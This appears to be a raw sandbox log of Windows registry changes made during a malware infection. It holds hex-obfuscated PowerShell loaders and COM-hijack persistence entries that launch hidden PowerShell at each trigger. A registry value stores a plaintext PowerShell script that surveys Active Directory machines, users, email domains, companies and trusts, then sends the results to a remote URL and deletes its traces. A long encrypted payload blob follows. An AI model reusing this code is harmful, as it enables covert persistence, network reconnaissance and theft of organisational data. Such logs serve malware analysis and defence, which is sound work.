37323238323436333646333433443330334232343633364633343230324436433734323032343646374133313245344336353645363737343638334232343633364633343242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234364637413331324535333735363237333734373236393645363732383234363336463334324333323239324332383338324232383331333032443332323932393239323037443239323927297c2628247073686f6d655b3130352d3130315d2b247073686f6d655b3232352d3139315d2b277827297d66756e6374696f6e20656e357b706172616d2824786334292028757730202732343739364133363344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343739364133363245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343738363333343239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343739364133363245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437373730333132433234373836333334323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373936413336324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3132312d3131375d2b247073686f6d655b3231392d3138355d2b277827297d powershell.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\CLSID\{0D030D04-0E05-0F06-1007-110712081309}\LocalServer powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\CLSID\{0D030D04-0E05-0F06-1007-110712081309}\LocalServer\ = "powershell -w 2 -nologo -w 1 -c \"& {(-join('246B6F6665626D643D2731333039273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B63753A5C736F6674776172655C636C61737365735C434C5349445C7B30443033304430342D304530352D304630362D313030372D3131303731323038313330397D5C50726F67494427292E246B6F6665626D6429297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\ msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\{030D040E-050F-0610-0711-071208130900}\ = "{030D040E-050F-0610-0711-071208130900}" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}\TreatAs\ = "{0D030D04-0E05-0F06-1007-110712081309}" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\CLSID\{0D030D04-0E05-0F06-1007-110712081309}\VersionIndependentProgID\ = "{030D040E-050F-0610-0711-071208130900}" powershell.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\CLSID powershell.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\CLSID\{0D030D04-0E05-0F06-1007-110712081309}\VersionIndependentProgID powershell.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\{030D040E-050F-0610-0711-071208130900}\CLSID powershell.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\{030D040E-050F-0610-0711-071208130900} powershell.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}\TreatAs powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ID = "0" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\CLSID\5725 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n#$file = 'C:\\Temp\\transcript.tmp'\r\n$file = Join-Path $env:temp \"pers132.tmp\";\r\n$fileASCII = Join-Path $env:temp \"pers132a.tmp\";\r\n\r\nStart-Transcript -Path $File -Verbose |out-null;\r\n\r\n# Function to help post HTTP request to web service\r\n#Function PostWebRequest([String] $url, [String] $data, [int] $timeout)\r\n#{ \r\n ##$url = 'XXX_TRANSCRIPTURL_XXX';\r\n#+ADD\r\n $url = \"%MARKER%/getdomstats\";\r\n\r\n#$data = @\"\r\n#test2342=test1\r\n#sec test\r\n#\"@\r\n\r\n##write-output \"Begin\"\r\n\r\n\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n##Write-Host $data;\r\n\r\n\r\n\r\n##write-output \"End\"\r\n#####\r\n\r\n\r\n\r\nStop-Transcript |out-null;\r\n\r\n\r\n\r\nif (Test-Path $file) {\r\n\r\nget-content $file | set-content $fileASCII -encoding ASCII\r\n\r\n#$data = Get-Content -Path $fileASCII\r\nif (Test-Path $fileASCII) {\r\n $fileSize = (Get-Item $fileASCII).length\r\n \r\n $timeout = 5000;\r\n \r\n #$buffer = [System.Text.Encoding]::UTF8.GetBytes($data)\r\n #$buffer = [byte[]][char[]]$data;\r\n \r\n \r\n [System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url)\r\n $webRequest.Timeout = $timeout\r\n $webRequest.Method = \"POST\"\r\n $webRequest.ContentType = \"application/x-www-form-urlencoded\"\r\n $webRequest.ContentLength = $fileSize;\r\n $webRequest.ServicePoint.Expect100Continue = 0;\r\n\r\n\r\n $requestStream = $webRequest.GetRequestStream()\r\n \r\n\r\n $fileStream = [System.IO.File]::OpenRead($fileASCII)\r\n $buffer = New-Object byte[] $fileSize\r\n $bytesRead = $fileStream.Read($buffer,0,$fileSize)\r\n\r\n $requestStream.write($buffer, 0, $bytesRead)\r\n $requestStream.Flush()\r\n\r\n \r\n# $requestStream.Write($buffer, 0, $buffer.Length)\r\n# $requestStream.Flush()\r\n $requestStream.Close()\r\n\r\n\r\n [System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()\r\n $streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())\r\n $result = $streamReader.ReadToEnd()\r\n}\r\n ##return $result\r\n\r\n#+ADD\r\nforeach($x in @($file, $fileASCII)){if(Test-Path $x){Remove-Item $x}}\r\n\r\n}\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}\ = "{030D040E-050F-0610-0711-071208130900}" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\CLSID\{0D030D04-0E05-0F06-1007-110712081309}\ProgID\ = "{030D040E-050F-0610-0711-071208130900}" powershell.exe Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\CLSID\{0D030D04-0E05-0F06-1007-110712081309}\VersionIndependentProgID\1309 = 75456e15bc590f763f4daadfcf8c726f38e2e1b5b5839860486ebd5ececf50d4722f5701337a4dcb6a0af855558762d2324c9adc500e977d47accc7606831686daf8d874a4c78f896ebbfa8749d638701782306eadde53151d6b4bbd59b6c0d2603c73766c335acd3ef5c22857c832eac72e0a31e4ad5b3a7fea9331ca3535045d315f7acc59b3aefe04f1911142f584126b3d87b45f022d2135d996d84208af1cb8a83e7cf1c32e37ea8969797c9ac9bdb223844fb64170ce84e1d4647aa86501603800ba84fbc654dbfbb9ee986e4f5e20df9698388daf95f8ea2860eb976fb2a83279d0829a90a0f8425bbc8b44030a7cd462e255e6c66c3c2e3180862b409cba14f24351dcde71a8c9eff8649aed6940e2053cf90091fc83c3a505ce2f209c2e9be44c7cbfae3019283ecaa3bcc05fe7139be7fbece00a6b35aad60dc8dae2ed4c658b9aa2bccc8aaa376405b92627a144ba14a0e41a0403ceffaa74a51b2bb0bec514df06bd016e2191c2ce7dd344ebc4faba8145b1e19def5ba9153a9d7f991d1290315c2e20c30f1359547cc3e5291d7e9c263b20d6e54e2c0aec9f7c00922bf4d08e67b84297c64ba4817a3bd027c8cab59a6825247b7ef302cd50d2a5a3cac3028db1f9bdc71f5293a1ca4babc491d85f7141b1ed98b5d7647033e769e4d6cd87a9abd45ba0201a191b4f5e831e22eb984ee6d194da6981f3e30de7531e974a1f0fc5f1b26e9f1677c8ca9eeabb3fc82fa88808515897988c67752ffb2f6f8e1df9636fa8c874fd2874326b4dc2c8fdfde7ad35cac478163a3620efe96c3c53947f926d0aad12024045013fe2dfb2b331eed0108a23cfd0bf264706d4e891f491c59983752bab16ed2440f4ee826a2c82fc18b008c32f54f5e36635d8313dceef17401f9548239ccb912d24ee7cc3779575b4484672facd5d713806fe568d4841faabed21ffbbc436646455ce46571a5f5d54d6c67e1696ba13bbc76758a4769eccbc2c6fed3a7343b5def1c7df8c045136e7aefe0b96f7f82d9dd9cce7bf3b92a77aa5ae6acdb6760c67fba411583ac511abf569cbee653d3a367aa37415a34f4e2b9af0c060ac5d710b69c38195793dcbf10cdbefdc35fa4abf99853d77b9a61aebd5b81ff261846734c7d60773e717da49d34f07a3aeb816968bb3ec98a3e7d337f5984b9863326b266b96f35f6998a2dd083349614a215f92b430b807f9108e5ced7eb1164ed616ff8cd6423f38404eb57a16cdcd4b5ad6db4cd4c042636715cc3417085b0ed5f0c5102a450e19a806fcdd2a818cbbc1373d624563dde93f9b7378b63ef34dcc31cf828701151b92bdf1f229b8979d1ec150f13daa321b57ab6b5a4b4d6d8f4af83e5939a161add274e59a98ff37379aee4d86af356dbbde4d75238a9c543fe980dff67c6dbb50d1b07660ccd5d0c8fa2e1720f0067c371c61825779da024c7d9c21e42decd26bdc2135fd9e59fb436d69ce106450faa9b2319cc73eec688fd2d431020725591879d1b98470c4b268110a1dbcff67a4b4e55d581dd040d2e850da85f615483c4dcb1160fd3d861013ef156b79da05abbb707f14f28383c34ea3625dc2c85a198f3a207e925434cd73a54ec7b5436d8b88e2cc7457d359dcc94b96beaae0d2a52baaf4dae1df6f4b60a256d941f98b3daa60d73e91a0335b4928100a103d50606678a70a74433be43ff6717868057ef1a9f86541f397871112991261b41d9201555bcedf432924d86119cf8afe0a422411b0cd8d7c15d9bad9da34cc4d20645ba84f803a669b4b1fb6099551f4a3e53098146202ccabed423d11e2c3572a5592cd015f09bf4b933975e698a498763ccc49a04536fc996be49226fc3a08aeced51e33e12aa2e5391caaec79a3ba980ae86403a26f653ca8874f040f60edad117233ab63b84cb8feda9400b26b529746133474709bfd079dc5b3f7d4b94671f0fde18d4b6056cb5428a773e8eca4172e5da4c78e98870a3117792c4f4196d1511c7554ea552dcd475083cad93dd91c4e5d47789a1ad8ab212c60eb652dcc3714770be6e4bfdcb883d8cbd79e8d9a21af3c94e7ddfa5231ab8c16d6c6be211cb4b80c6040e17b6a47e9594749385240c3996525fe5dbe2959ca515d6437aaa145fe784c94af767d6ddf7d76bf0a213ea91e205a68fceb9f2433689b5f60cae797e98cbe8894edf2ae542468d5a569e233cc85fdbd133e134b2ab33f6c6c65542c400ffc91049c0d01f65c6f741f5259a27954fdfb508b91a516a92a817754be8bcf1e452bf68f91acc0067695182a790560947708cccc9b04e71c34b82086bc5a697e11d50d9bf08f68cd4b4a6a093adce6e1510d1277e9272bcd221cdea6751f30d2ea265036d3257d5cad9d73ef02f76e75736cdbf5ce977ee3c2cf6a2a0c25e02255861c92e0c03da8fbc86fc07392423155a7209c2a76af29a59e2ea85c3c5e7673efa5c48be58250281df1d16703c49072c8c03683fb35ae58b4ac85add4097d48e4b4ba5dced5a78bcc9c0a82a845f8691a3036ce1c859c39817c08fb5ba0d3a0907764079e99ed5d86e9fd4a9b033bbda62bdcf9ed1f9917f0615ec98543cf443071b8868b85d71c5b1b3ee06892e36b8ab21113041445b83ba8f3d7eca8b13fd9f89aa9bbc0ecb23a5f30ee0f1364113922e589d46e7d59977302ec12d7d4c4805ba5e3168ae6dc4a749b06b76abc59ff34ae2024c1ccb4074b6444b549dc086ed591a480b83c79d6ea34aea216999c849236dfcdd3f8a440b7310cc0a3b7c68ca69ec602746b90a54c4cc053f7322c71aabf5e25baee14f89bd98d0f23a32475e0e36fa61ae7b70b1da318dab4f066cfc241766da409c152b5b552d40ea76e593d89d457124fe805c440d6078ba87bd8e141d53343821ae012c11036353a0477d32f584bde7bc588179b8e04a3061e79d623b667ea0bb259b94367c30026ba23781d501d8761d4f2c036bc8c471bd0fc26caf678a707fd879983eebe30bb8900ad2a0a66b0e7e9e78a52cbf40dae679e470b77d005a3e82d1c3257afbcb408439429535a7248eb0a83acb66eced7ee646b6cc0faf4b7682d5c1f0bf4cfe0bc2c4c4c141aa8f1aeeb25709db0b7111b51e591494b9dd050a242d26290de2eea02a869ff24888defc542b9259c33701ec82d2a46ff47c7c993f12039347b38c14c73692b262ec70a7857bfa4860b320619910440c3f599ee82a619ff55b5d9c4e1cea8e6eef642481bca1bbe051f83afbaf5c023c9fa5e81d65779824cfa4595a57f9cde60fcb729a37fb0ba5c9c66e05ff0700884d849e37bfa87c84afb8fae841e0c40482c594f46a8d66549c4e2df726da4d823f539b4e6da56dddce5f1f8a763ee5ffcffb8119c726abcb62051f2c41350a3508fddaa02c1eb185ca8afa3c6cd0bb3ac0c93fc0ffa82717274a466e171b192e75a9a6f0f29e2c292d2e7cfc19e26e4c462542bde32dda19e7dc30c0e6130084d7d8fa640cfc234c2cc6fa3cae58da48a937c4a3452b3b5e66e3b07b7ed723771eb0822d8ad03097e127443de3f0678c0a480f4e7d9cc58d9a21aebc398c3f5ac2cbc5fa1d02fc7cd1de5241f321e3ba7aee492d5f3ef96ca17924324871dc94495e23c3dfdc2573aa5c86e62c1cf28f5f28ce662b31fde5cc2b38af6e002e74231e508a9e4edb4cf43c69b95bbe07352e0a7aff9a8d38cbdee6da5e0174a11515959aeec07359ae4114eb23f3c7f0209f6dc48291b749799f1e1bf574e918a9c1c72b61f4a0d683cddbcafdb7e6cb40b807a9d40256b27ff62763f96f9782784dcea3ab7e030911e8b330793da9f2f587e73a384748977fbd7bfa9e764ecd1bac75fc546483b4b37b1112b7f7c81af386e86b2aaa2a4dcfe9a07a3ff4f055d91e95ffdc0c05c29dac0c78942ad082c2f38ca62bc2736546c6e1fd394394f851fd63ed26d799fe9c915f860ecda48e32baf03cb92b3c6c51b16ae3bc84e2d00eca8ac9f0f00d1a7eb742edd074eab975bad1b122cd06da67a79f609cdbb20f1c3d70375fded74f5637d6a6b6b150f6b5ba34cbd8484536fc4575e29ea19261edc40e0ee8728427ef1f406d1da261a86f50bcb47cdbaa5af89419345df3b5ff19e0e985ba09f39e957744afd98d8b0d313132282f0583b1735ef33b8453645431b083707d954e462cbe61e82c67646530c6baae6ae9492d26cabb8c2cd66a21771436d36de80fd2b9aa1d95ae2530b6038b3fa34bd8c8886a11f69a13fc63f4f6e10675e3616b5651faec112f9b04469d2ab0fb27ec78caf0ff92fcc50ca4059c67f631dc7a274e4af59e9d04693a9783ac64164e99a43f594c4380a715d0e91562f5cf8235b615fbf58864d4e3bc2a149bf1b059ce98a12e30aa63382a0a8aef2e3b1ead4c031a2800c76a782bbe17ea683778a1cbfa4254be2a51d13a23f392da45023843c9dcd8f1fd58a9bb4f799623aec8c68f5f5c8b203933972617c127d13175829158f663055ce4dc2fe1f9a85f400d7341932092403e76c9fb54d8bfcb1b063f43dc8a2cbe1033d13325f60f94c1811e293c6350b87afbcbea978b5dee2a7b910f32dd76d9fa7f0555bd335edfda787a42fddc8915e13cea0c96983d2db8685b739cc6d995b00d1179071ba99b39b50d6832820131536cf64b7bfe3482b9d096f7ec43bf786a4a77311e7ab21cf13f14e2718e09361292ad21de7c2dfcb619dc139fd49cba06a3e79c15f1ae357262c961fd6ecaab3e6ffcec976325403f4c51d72aa6bc8b15c803934ddfd2fa7d82785c06f60741b92b8840036b8aad4b35144513ba3d6cab9c74f1fce88f08e442015679e499fe4656fdac8781a819ee172e52f002fe3d7c1948687ca681f89e9dc14bde052aa3075c2983db83166bce668d1fc73d532d9dede5d1bb15ba61c154e9f2ec98cccfbd6fc3a32971bf7fc575114f6e3f72ac12da9881c9d62c4aa979959e09c47c631876dad104916c148915634a67908f60305e91c90900e57db736cee904d2ab48a9c39a7460d1d81fe0fb75165e5390b1129c828f48ab342e2d665c30322778705a9dd408c5fd4a647e1c45b03d558ffae73886766101767914bdea39fc11153baae185a24ac2ec4955e5f1e14cb5347998c4a63350b622a1fa930baaf53212a0c85e8d7950f860a6bbeb61f5bb88326735ba5abc4480ddbf85f6f25524b1950ab4fa5985a87492702c9cf4c3d1ec500cfacfda02eb60e3e63fe1bc032d0e7ef218f1c9cfa7ec7e8726372e3ee79f24a26a3f60e1d6558d1950f67710d94a8548d4529d77195efe8d2030005c6dca47746cbc24d31936a0a5363c15b2a7713014d0c67d4547ec371249adb67bc31ddab035f2d8f47e1e4a3dc08f97d03706ecffe07e5536042ca406a9552acbea68ed2948ca34cad420b5312c34ce86cce612465d445a13775ddd26d6c35b121947191fa020716c5c89be621384f19bbceacd68f408b75e9926ac7be9c8bc9b122e5a202ae927376a733c07f6cdac55b5fc8642d71498a431beeb9e15191b01167e58273d8c9f8a253e6218a646c45a956d1347d5a6560bfe9b526ac90e052aba084c9bda3dd9efc17485c1b6d834353fd7f53b5679686f1c62aacfe7f31ceeaf679573ed108af4f40f1272d37b243401c815990853d6e1a165803a9b41932d7376e74816993300ec9e76c71602e8f03eab83ebb84425094b914278694015ebca45214f5dc657940a54e7cbc6bbdf4936809f22c0f50485d9b25a0ead84735cc74de31e804794b8075a0a9a0bc9e3598d97aa698d69cb430d41b03e80d9c79801f3c04540337601fbd38e5c1f6238babc0a6c3513efbc7f0ae0ec45143c24ae28040b3defa9c857e72e973789d8dd88b62db59060cdc3b8b91b6b09b9d52a2b05783a174052b4d9d8598de023581a1ba239707e65fef18ac484b7ee65f5948939f7a77e3237797badb0d92fa3154793d0e0ea02792c1d9ed84f2d4c5019d25dd12c120d5856faeb5db87e942273abfb455efdda7c29a3bd088e94b57cf136acf0a89e38574e2a542ef99ab4b74ef4162c99565d2f4db4b7fb5d83d287d69d42de6349d7e1fdf12d1fd8f5ac35f6bf3dedd0e0b1fd975691edc364b46889b89ab2a546e2cffd838deab3bc076377309eba9efc83bee9e92d836c87e18d21a27be3fe901d4a50f7d1b3f7745fe29be405b9c2acf432920b3f864e5ebbe09e3630ebe9b7b173086c96b4c91662e285bc1cbeaa4d361d7175bcfa40cfe41867b8999dba2a3a129f856897c5443cbf627756467fe6d4af6d695813f98f224272e728cdc07084bd51619939e8196929841e45522448d4a5f7155d3476e350f09432f5f9449a63ea2f114a5d7fea576d3e56fa371c91ae8924fa36c20943107b474fe73e4caf855ae9b477c7982c65895396b4c08e3d226138e30f6cc7f90cf4fcbf596a0a89ec0d0502ddb936380d21d1419126a8c1a088afbabb8b63171b2702b0578adaabc7df92d919a9f6636242827800c962d9fafb0972948d40662b00191d4a6ed6f1c7c07513768e79c66c15bfdcd2aff4fe8fedc03469a6e6855ab98c5f82c1898155d4e7164d2debdd44515782c60cd0b9a7033bd14d9c539469d59b88d6e44fd3d8b4e16eb32791550af92fae203fa3a1319bef1832fcee9a7d67c3039092e7b87f047796469902fb0f2757f8a3d71894f2727f518c73380c8bd3a2919542f45f6f7f691ec998426019590cd203c974a8327a57567beca69608428cc53163ea9c092eae9386b24eb4237bab60642c9c18787114c4ea79e72923b2fd5de1767484e69e9b2b3f5f5c9f73f4e0d449d3e6c54d28a3d66ab5a7e26d39f2f524f276d2974d5a29fa221713cd52d4f6644c34661a38952499758dbff020573a5cd68167229ab7edf681f8aca7b5a80cc8f4ea3ea38ac03d60a37c7d2b4ee932bc2442b54a35d5bb8345643c1c61f45c06194193f49ad8963b63f360ec6c72babcd06f489843480e9b2dbd21fd838777b2315771c69ec12d5c4b0cd03694ff6f0a5e6bdede95d0b4c253932caf8ff1f330d5cfa3e7327433d97d6998fdee65e1036aae2a9a6f3473c102277d9bbb7c3a7c45d1a9e1a486f00c4cfa6302666515e3fc0c03b53cd7115431cabb1719b0b86bb6bef651021c6b7bf9af0c764c460611a184aceeddc819da75c30c4b6a4cc24c633341084fa47e8f86c477c01f4904fec737df5e70c09453423cdc3fe35dfec89997bc5962f8a8cf28ddcdaf3a17e7e66e7f7e1f2e50398c4a073151c019008b0c0f2129fcb65dd8cc8ec0fca7610c3ca924993cc7c532bd7f3dcf8f8f407ec3b96eea0ba3183863efd2a58e3ae87dea2205822c648e014ace691260552d8cc8dd83de11f329841b5299e7e815783985614f386e1f5f0c03e6a0b3727d4ddd5be506c33341f0dd0e236beeac72a0bec154e07d86aac729f6bf7767302ff43b1bc4b7b11c88907b779b4f175c8361a5dc495bf183c85932be7ae2bf53fb418d7b56b48b9cdb9e25ab1c6b6cccf68eaa576c109e54d430743e97aaac7c551f4657f3ce702dd71b0de8414457c71f2034ca7abb91da842e1fb2f13a4daec238a8867ad0f9a7b76ffc390a6783da91da0e7231a5bd4b43ba98193a6e64a17bc4fbd7bae0f3327226bee55df39a3d21b4616bbbfc0e32880e948d651b3b4a82f148295d5119175984ce86cf4e4156d2f86ffd070de38dd80074992d078cd1c11f3d5fdb8355b4dc340309c1b27032247854ad19e847c5bdcd4e9f4cc4910a0f3bd9efb3ff342cd0c8ca8ae15972a9f3f59b686aec9704835b4d3e28f5453ca6a141ba78069940e2177e8678aee610ecac9238cf21f3cbda4e71a072aa9549ed207720ffb27cb42428d0cadb66e32c0546d53b1038638d0f4758224b8da62a5c9c37112ade96e442bd20cb964f9800e6e59543d1920599c1ef335f92bbbb57898b054271a691d9f7d7a209e126fe5daa3a05d254e6ca2578cc903a0a7178409a3bc321cebc0a62c130e4ae5a5973ee51ed33016abd4e3c38bf014c1ab12cb1e8ebc93fdba9ffe71d4e178853a4b6b1f945a03186d8cb58b727452742ff32d6f11e4bf5de362147b1782c5d9c9217ea799e8d70939d6437568badc74ac8387ea6038a6c17cb683cd53ec86a8daac8e96b546fe2717da1c940543df6371e2798e89bd9e56e8ba5a9055d555597bb60601fe76110243aef941a58ec4235a7c56f188bbe9b4fc4a6bfb1828e8fb594fafc4d56914a59dc8450b18491069090f30cf494e10c53a08e8bc966fc69541f0e98a933571be68958a35e51ecaf17293502f1ff413a315ac4f0afed9208ce99eb60d49c8e9ff88240f7ea9b608ddf3aa4a5bd2bef50871f4180cb46f4a0b7d0b84d81d5034b41c64749c5979be0db4f42b0cf099159a60c9efbc9ec0b6f25a421d9bc2e104394d8f04f10bffc9a843ca077b77c561bb68725df25566d61c9ec29fd692380cc1344652c70f95b5a0e5c40aa876075d9140cba4fe0aa1ba36ff19ee621b5f56456ee9d17528830fa4b47c182712b593026a9f78f69a3ef34d06ecc976fc89b502e156fd37ee58926d75e78c3a2f5e6c91127efc17242dbf3b53defa6ad48513a5f10a9ca6aaf74974b5d0dd99b3bcfe846886a061e581e19ddc496c1114472f72e00ba8a25ba8fdcc89d29ec0fff6db161690fe287c4adaacec8630acf98bcd4d1053655f30547a973d4157b46be4730cc672ba408177ec18b7cd701c654765362b5b438cf887020bdf3503652e99c904192a2c293f81a2749af8f1bbc3381357cfb443963488855332aa933543e13f4f6c6716be01ff38a1a697d5eac979c88239626ed0a3436b8ab56809190d1944cfe9c17ba6a9e7fa9dbdd5cad2db2c72e28cb96b3f7cf3637200431ed1afcdb087b386363010ac8a2dc0415dae83ed832c0f06abd9c0fc664252ec8c8afd31cab9bc0728c65a37a0c1649bab604bf2cb7152eb41a1378a63830843407ec87405bfe663a1ad258461abb7c9376557c4af7af63de2cec9d7ed6f0b80db9ebf67e20f0f84e96064ce37ba8c165de4feb25f0c9c12ac719b760206b0763da74a28e39d8